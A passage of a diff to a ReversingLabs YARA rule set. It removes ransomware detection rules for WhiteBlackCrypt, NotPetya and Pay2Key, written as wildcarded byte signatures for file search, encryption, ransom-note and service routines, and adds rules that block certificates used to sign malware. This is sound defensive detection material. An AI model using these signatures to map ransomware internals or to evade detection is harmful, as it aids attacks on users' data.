?? 11 ?? 11 ?? 8E - 69 32 ?? 00 DE ?? 26 00 00 DE ?? 17 8D ?? ?? ?? ?? 25 16 72 ?? ?? ?? ?? A2 0C 16 13 ?? - 2B ?? 00 00 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 08 11 ?? 9A 28 ?? ?? ?? ?? 00 - 72 ?? ?? ?? ?? 08 11 ?? 9A 28 ?? ?? ?? ?? 18 28 ?? ?? ?? ?? 00 00 DE ?? 26 00 00 DE ?? - 00 11 ?? 17 58 13 ?? 11 ?? 08 8E 69 FE 04 13 ?? 11 ?? 2D ?? 00 00 72 ?? ?? ?? ?? 1D 28 - ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 1D 28 ?? ?? ?? ?? 72 ?? ?? - ?? ?? 28 ?? ?? ?? ?? 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 00 DE ?? 26 00 00 DE ?? 7E ?? ?? - ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0D 09 72 ?? ?? ?? ?? 17 8C ?? ?? ?? ?? 1A 6F ?? ?? - ?? ?? 00 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 72 ?? ?? ?? ?? 16 8C - ?? ?? ?? ?? 1A 6F ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 - ?? 72 ?? ?? ?? ?? 17 8C ?? ?? ?? ?? 1A 6F ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? - 6F ?? ?? ?? ?? 13 ?? 11 ?? 72 ?? ?? ?? ?? 17 8C ?? ?? ?? ?? 1A 6F ?? ?? ?? ?? 00 7E ?? - ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 17 6F - ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 72 ?? ?? ?? ?? - 72 ?? ?? ?? ?? 17 6F ?? ?? ?? ?? 00 07 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 73 ?? ?? ?? ?? - 13 ?? 11 ?? 6F ?? ?? ?? ?? 00 73 ?? ?? ?? ?? 13 ?? 11 ?? 6F ?? ?? ?? ?? 26 2A - } - $desktop_kill_tick = { - 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 16 28 ?? ?? ?? ?? 0A 06 72 ?? ?? ?? ?? 28 ?? ?? ?? - ?? 0B 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C 08 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0D 09 72 ?? ?? - ?? ?? 28 ?? ?? ?? ?? 13 ?? 07 28 ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 00 07 28 ?? ?? ?? ?? 00 - 00 11 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 00 11 ?? 28 ?? ?? ?? ?? 00 00 02 7B ?? ?? ?? - ?? 6F ?? ?? ?? ?? 00 2A - } - $drop_ransom_note = { - 00 16 28 ?? ?? ?? ?? 0A 06 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 00 07 72 ?? - ?? ?? ?? 6F ?? ?? ?? ?? 00 07 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 07 72 ?? ?? ?? ?? 6F ?? - ?? ?? ?? 00 07 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 07 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 07 - 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 07 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 DE ?? 07 2C ?? - 07 6F ?? ?? ?? ?? 00 DC 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 - ?? ?? ?? ?? 26 2A - } - condition: - uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $encrypt_files ) and ( $desktop_kill_tick ) and ( $drop_ransom_note ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BIG JOURNEY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "10:ba:e1:d2:0c:b4:cc:36:a0:ff:ac:86" and 1476773830 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win64_Ransomware_Whiteblackcrypt : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_230716Bfe915Dd6203B2E2A35674C2Ee : INFO FILE { meta: - description = "Yara rule that detects WhiteBlackCrypt ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "9855c10d-563d-54e0-bc79-945daef947de" - date = "2021-07-05" - modified = "2021-07-05" + id = "849c390e-f81f-558e-88a3-19242c127a56" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win64.Ransomware.WhiteBlackCrypt.yara#L1-L91" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14004-L14020" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "37b95cc3412f2f2d02d19c4c15b529c4f67453cb195627b5bab2f353e7602354" + logic_hash = "0197ff46ceb1017488da4383436fd0ddc375904f36cc16c5a8ef21d633ec387c" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "WhiteBlackCrypt" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files = { - 41 57 41 56 41 55 41 54 55 57 56 53 48 83 EC ?? 4C 8D 3D ?? ?? ?? ?? 45 31 F6 49 89 - CD E8 ?? ?? ?? ?? 48 85 C0 49 89 C4 0F 84 ?? ?? ?? ?? 4C 89 E1 E8 ?? ?? ?? ?? 48 85 - C0 0F 84 ?? ?? ?? ?? 48 8D 68 ?? 4C 89 FA 48 89 E9 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8D - 15 ?? ?? ?? ?? 48 89 E9 E8 ?? ?? ?? ?? 85 C0 74 ?? 44 89 F0 48 83 C9 ?? 48 89 EF F2 - AE 4C 89 EF 48 89 CB 48 83 C9 ?? F2 AE 48 F7 D3 48 F7 D1 01 D9 48 63 D9 48 89 D9 E8 - ?? ?? ?? ?? 48 89 D9 4C 89 EA 48 89 C6 48 89 C7 44 89 F0 F3 AA 48 89 F1 E8 ?? ?? ?? - ?? 48 8D 15 ?? ?? ?? ?? 48 89 F1 E8 ?? ?? ?? ?? 48 89 EA 48 89 F1 E8 ?? ?? ?? ?? 48 - 89 F1 E8 ?? ?? ?? ?? 48 89 F1 85 C0 74 ?? E8 ?? ?? ?? ?? EB ?? E8 ?? ?? ?? ?? 48 89 - F1 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 4C 89 E1 48 83 C4 ?? 5B 5E 5F 5D 41 5C 41 5D 41 5E - 41 5F E9 ?? ?? ?? ?? 48 83 C4 ?? 5B 5E 5F 5D 41 5C 41 5D 41 5E 41 5F C3 - } - $encrypt_files = { - 41 55 41 54 55 57 56 53 48 83 EC ?? 48 8D 15 ?? ?? ?? ?? 31 F6 4C 8D 2D ?? ?? ?? ?? - 48 89 CD E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 89 C3 E8 ?? ?? ?? ?? 48 89 C7 49 89 D9 41 - B8 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 F9 E8 ?? ?? ?? ?? 85 C0 49 89 C4 74 ?? 81 FE ?? - ?? ?? ?? 7F ?? 45 89 E0 48 89 FA 4C 89 E9 E8 ?? ?? ?? ?? 45 31 C0 89 F2 48 89 D9 E8 - ?? ?? ?? ?? 44 01 E6 4D 63 C4 48 89 F9 49 89 D9 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 45 31 - C0 89 F2 48 89 D9 E8 ?? ?? ?? ?? EB ?? 48 89 F9 48 89 EF E8 ?? ?? ?? ?? 48 89 D9 E8 - ?? ?? ?? ?? 31 C0 48 83 C9 ?? F2 AE 48 89 CE 48 F7 D6 48 89 F1 48 83 C1 ?? E8 ?? ?? - ?? ?? 48 89 EA 48 89 C1 E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? - 48 89 E9 48 89 C2 48 83 C4 ?? 5B 5E 5F 5D 41 5C 41 5D E9 - } - $register_service_p1 = { - 57 56 53 48 81 EC ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 31 C0 41 B9 ?? ?? ?? ?? 48 8D 94 - 24 ?? ?? ?? ?? 48 89 CB B9 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 48 89 D7 F3 AB 48 8D - 44 24 ?? 48 89 54 24 ?? 48 C7 C1 ?? ?? ?? ?? 48 89 44 24 ?? 48 8D 15 ?? ?? ?? ?? 48 - C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 80 BC 24 ?? ?? ?? ?? ?? 48 8B 35 ?? ?? ?? - ?? 0F 85 ?? ?? ?? ?? 48 8D 9C 24 ?? ?? ?? ?? 31 C9 41 B8 ?? ?? ?? ?? 48 89 DA FF 15 - ?? ?? ?? ?? 48 8D 44 24 ?? 45 31 C0 41 B9 ?? ?? ?? ?? 48 89 44 24 ?? 48 8D 15 ?? ?? - ?? ?? 48 C7 C1 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 48 8D 05 ?? ?? ?? ?? 48 8B - 4C 24 ?? 41 B9 ?? ?? ?? ?? 45 31 C0 C7 44 24 ?? ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 - 89 44 24 ?? FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? - 45 31 C0 48 89 D9 FF 15 ?? ?? ?? ?? 31 C0 E9 ?? ?? ?? ?? 31 C9 FF D6 48 85 C0 79 ?? - B9 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? EB ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 31 C9 BA ?? ?? - ?? ?? 48 C1 E0 ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? - ?? 48 8D 35 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? - 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 89 B4 24 ?? ?? ?? ?? 48 8D - } - $register_service_p2 = { - 8C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 - 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? - 41 B9 ?? ?? ?? ?? 48 89 F2 48 89 1D ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 48 89 5C 24 ?? - 48 8B 35 ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? - ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 - 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? FF D6 B9 ?? ?? ?? ?? 48 89 C3 FF 15 ?? - ?? ?? ?? BA ?? ?? ?? ?? 48 89 D9 49 89 C0 FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8D - 54 24 ?? 48 89 C1 FF 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 41 B9 ?? ?? - ?? ?? 4C 8B 05 ?? ?? ?? ?? 48 89 5C 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? 48 C7 44 24 ?? - ?? ?? ?? ?? 48 89 44 24 ?? 8B 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? - ?? 99 F7 F9 2D ?? ?? ?? ?? 89 44 24 ?? 8B 44 24 ?? 99 F7 F9 31 C9 48 8D 15 ?? ?? ?? - ?? 2D ?? ?? ?? ?? 89 44 24 ?? FF D6 BA ?? ?? ?? ?? 48 89 D9 FF 15 ?? ?? ?? ?? 48 89 - D9 FF 15 ?? ?? ?? ?? 48 8B 35 ?? ?? ?? ?? 48 8D 5C 24 ?? 45 31 C9 45 31 C0 31 D2 48 - 89 D9 FF D6 85 C0 74 ?? 48 89 D9 FF 15 ?? ?? ?? ?? 48 89 D9 FF 15 ?? ?? ?? ?? EB ?? - 8B 84 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5B 5E 5F C3 - } - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $register_service_p* ) ) and ( $find_files ) and ( $encrypt_files ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Jiang Liu" and pe.signatures [ i ] . serial == "23:07:16:bf:e9:15:dd:62:03:b2:e2:a3:56:74:c2:ee" and 1472169600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Notpetya : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_36A77D37E68E02Fd3D043C7197E044Ca : INFO FILE { meta: - description = "Yara rule that detects NotPetya ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "ea655048-4ef7-5dd7-872e-f1c2e38234cf" - date = "2020-06-26" - modified = "2020-07-15" + id = "721e48fb-3046-5b2d-8ad9-ae340e598794" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.NotPetya.yara#L1-L73" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14022-L14038" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "328f0e527fee2145879ee13c003d375db832f7f3eacf7a1eb303393c1c8b5a36" + logic_hash = "fc13ac5880cc2c8eac9ff8d09f6c5c2055b2de54d460a284936a4f6cd78192e8" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "NotPetya" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_file = { - 8B EC 83 EC ?? 53 56 57 33 F6 56 56 6A ?? 56 56 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? - ?? ?? 8B F8 89 7D ?? 83 FF ?? 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 57 FF 15 ?? ?? ?? ?? 89 - 75 ?? 39 75 ?? 7C ?? B8 ?? ?? ?? ?? 7F ?? 39 45 ?? 76 ?? 89 45 ?? 8B D8 56 53 56 6A - ?? 56 57 FF 15 ?? ?? ?? ?? 89 45 ?? 3B C6 74 ?? FF 75 ?? 56 56 6A ?? 50 FF 15 ?? ?? - ?? ?? 8B F8 3B FE 74 ?? 53 8D 45 ?? 50 8B 45 ?? 57 56 FF 75 ?? 56 FF 70 ?? FF 15 ?? - ?? ?? ?? 85 C0 74 ?? FF 75 ?? 57 FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? FF 75 ?? FF - 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 5F 5E 5B C9 C2 ?? ?? 8B 45 ?? 89 45 ?? C1 - E8 ?? 8D 58 ?? C7 45 ?? ?? ?? ?? ?? C1 E3 ?? E9 - } - $main = { - 55 8B EC 8B 45 ?? 53 56 8B 35 ?? ?? ?? ?? 57 BF ?? ?? ?? ?? 57 6A ?? BB ?? ?? ?? ?? - 53 83 C0 ?? 6A ?? 50 FF D6 85 C0 75 ?? FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 75 ?? 57 6A - ?? 6A ?? EB ?? 3D ?? ?? ?? ?? 75 ?? 6A ?? 6A ?? 53 8B 45 ?? 6A ?? 83 C0 ?? 50 FF D6 - 85 C0 74 ?? 8B 75 ?? 8B C6 E8 ?? ?? ?? ?? 85 C0 74 ?? 56 6A ?? 56 E8 ?? ?? ?? ?? 56 - E8 ?? ?? ?? ?? FF 76 ?? FF 15 ?? ?? ?? ?? 6A ?? FF 76 ?? FF 15 ?? ?? ?? ?? EB ?? 8B - 75 ?? 56 FF 15 ?? ?? ?? ?? 5F 5E 33 C0 5B 5D C2 - } - $encryption_loop = { - 55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 83 7D ?? ?? 53 56 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? - ?? FF 75 ?? 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 44 - 24 ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 44 24 ?? 83 F8 ?? 0F 84 ?? ?? - ?? ?? 8B 1D ?? ?? ?? ?? 8B 75 ?? 8B 46 ?? 85 C0 74 ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 85 - C0 0F 84 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 44 24 ?? 66 8B 10 - 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 - D2 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 85 C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 44 24 - ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 - C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 44 24 ?? - 50 FF 75 ?? 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? F6 44 - 24 ?? ?? 74 ?? F7 44 24 ?? ?? ?? ?? ?? 75 ?? 8D 84 24 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? - FF D3 85 C0 75 ?? 8B 45 ?? 56 48 50 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? EB ?? 8D - 44 24 ?? 50 FF 15 ?? ?? ?? ?? 8D 4C 24 ?? 8D 51 ?? 66 8B 31 83 C1 ?? 66 85 F6 75 ?? - 2B CA D1 F9 8D 4C 4C ?? 3B C1 74 ?? 50 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 - ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF D3 85 C0 74 ?? FF 75 - ?? 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 74 24 ?? FF 15 ?? ?? ?? - ?? 85 C0 0F 85 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 5E 5B 8B E5 5D C2 - } - $shutdown = { - 68 ?? ?? ?? ?? 8B CA 8B D0 0F B7 45 ?? 03 C2 33 D2 F7 F6 0F B7 75 ?? 8D 85 ?? ?? ?? - ?? 50 03 F1 8B FA FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? - ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? F6 05 ?? ?? ?? - ?? ?? B8 ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? 56 57 8D 8D ?? ?? ?? ?? 51 50 8D 85 ?? ?? - ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? EB ?? 8D 85 ?? ?? ?? ?? 50 56 57 - 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 33 C0 66 89 85 ?? ?? - ?? ?? 50 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 5F 5E 8B C3 5B C9 C3 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Direct Systems Ltd" and pe.signatures [ i ] . serial == "36:a7:7d:37:e6:8e:02:fd:3d:04:3c:71:97:e0:44:ca" and 1515542400 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_73Bff2Fb714F986C1707165F0B0F2E0E : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "f014b446-0ddc-51df-898c-200bd60181a0" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14040-L14056" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "d79ab926cbc0049d39f5f4c6e57afc71b1a30311a4816fdb66a9c2e257cc84af" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and $encrypt_file and $main and $encryption_loop and $shutdown + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Tecnopolis Consulting Ltd" and pe.signatures [ i ] . serial == "73:bf:f2:fb:71:4f:98:6c:17:07:16:5f:0b:0f:2e:0e" and 1090886400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Pay2Key : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_33B24170694Ca0Cf4D2Bdf4Aadf475A3 : INFO FILE { meta: - description = "Yara rule that detects Pay2Key ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "2e482222-0483-5fe3-bb87-cfadda8e7e7a" - date = "2021-04-14" - modified = "2021-04-14" + id = "c02d7aaf-e88a-5aba-a8ee-db34562e53b1" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Pay2Key.yara#L1-L99" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14058-L14074" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "2497504f3afc99523cb29e51652a24f4374316d57d4baf5cde8d22e75a425585" + logic_hash = "795bcb46b41ded084e4d12d98e335748ec1db3e0abbbb2d933e819d955075138" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Pay2Key" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files = { - 8B FF 55 8B EC 51 8B 4D ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 2B CA 83 C8 ?? 57 8B 7D ?? - 41 2B C7 89 4D ?? 3B C8 76 ?? 6A ?? 58 EB ?? 53 56 8D 5F ?? 03 D9 6A ?? 53 E8 ?? ?? - ?? ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? - FF 75 ?? 2B DF 8D 04 3E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 4D ?? - 56 E8 ?? ?? ?? ?? 6A ?? 8B F0 E8 ?? ?? ?? ?? 59 8B C6 5E 5B 5F 8B E5 5D C3 33 C0 50 - 50 50 50 50 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 - 89 45 ?? 8B 4D ?? 53 8B 5D ?? 56 8B 75 ?? 57 89 B5 ?? ?? ?? ?? EB ?? 8A 01 3C ?? 74 - ?? 3C ?? 74 ?? 3C ?? 74 ?? 51 53 E8 ?? ?? ?? ?? 59 59 8B C8 3B CB 75 ?? 8A 11 80 FA - ?? 75 ?? 8D 43 ?? 3B C8 74 ?? 56 33 FF 57 57 53 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 33 FF - 80 FA ?? 74 ?? 80 FA ?? 74 ?? 80 FA ?? 74 ?? 8B C7 EB ?? 33 C0 40 0F B6 C0 2B CB 41 - F7 D8 68 ?? ?? ?? ?? 1B C0 23 C1 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 50 E8 ?? ?? - ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 57 57 57 50 57 53 FF 15 ?? ?? ?? ?? 8B F0 8B 85 ?? - ?? ?? ?? 83 FE ?? 75 ?? 50 57 57 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 83 FE ?? 74 ?? 56 - FF 15 ?? ?? ?? ?? 8B C7 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B 48 ?? - 2B 08 C1 F9 ?? 89 8D ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 8A 8D ?? ?? ?? ?? 84 C9 - 74 ?? 80 F9 ?? 75 ?? 80 BD ?? ?? ?? ?? ?? 74 ?? 50 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? - ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? - ?? 85 C0 8B 85 ?? ?? ?? ?? 75 ?? 8B 10 8B 40 ?? 8B 8D ?? ?? ?? ?? 2B C2 C1 F8 ?? 3B - C8 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 - ?? E9 - } - $encrypt_files = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? 53 56 57 A1 ?? ?? ?? ?? - 33 C5 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B D9 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? - 8B 43 ?? 2B 43 ?? 75 ?? 8B 75 ?? 8B 45 ?? 8B 4D ?? C7 45 ?? ?? ?? ?? ?? 89 06 89 4E - ?? 8B 4D ?? 89 4E ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? - ?? 8B C6 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B E5 5D C2 ?? ?? 83 7B ?? ?? 74 - ?? 8B 45 ?? 2B 45 ?? 50 E8 ?? ?? ?? ?? 8B 75 ?? 8B F8 8B 55 ?? 2B F2 56 52 57 E8 ?? - ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? - 56 89 75 ?? E8 ?? ?? ?? ?? 56 57 50 89 45 ?? E8 ?? ?? ?? ?? 8B 75 ?? 8D 45 ?? 83 C4 - ?? 50 56 6A ?? 6A ?? 6A ?? FF 73 ?? FF 15 ?? ?? ?? ?? 8D 4D ?? 85 C0 75 ?? 8B 75 ?? - 89 45 ?? 89 45 ?? 89 45 ?? 89 06 89 46 ?? 89 46 ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? - ?? ?? 8B C6 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B E5 5D C2 ?? ?? FF 75 ?? E8 - ?? ?? ?? ?? FF 75 ?? 56 8B 75 ?? 56 E8 ?? ?? ?? ?? 8B 7D ?? 83 C4 ?? 8B 4D ?? 8B 45 - ?? C7 45 ?? ?? ?? ?? ?? 89 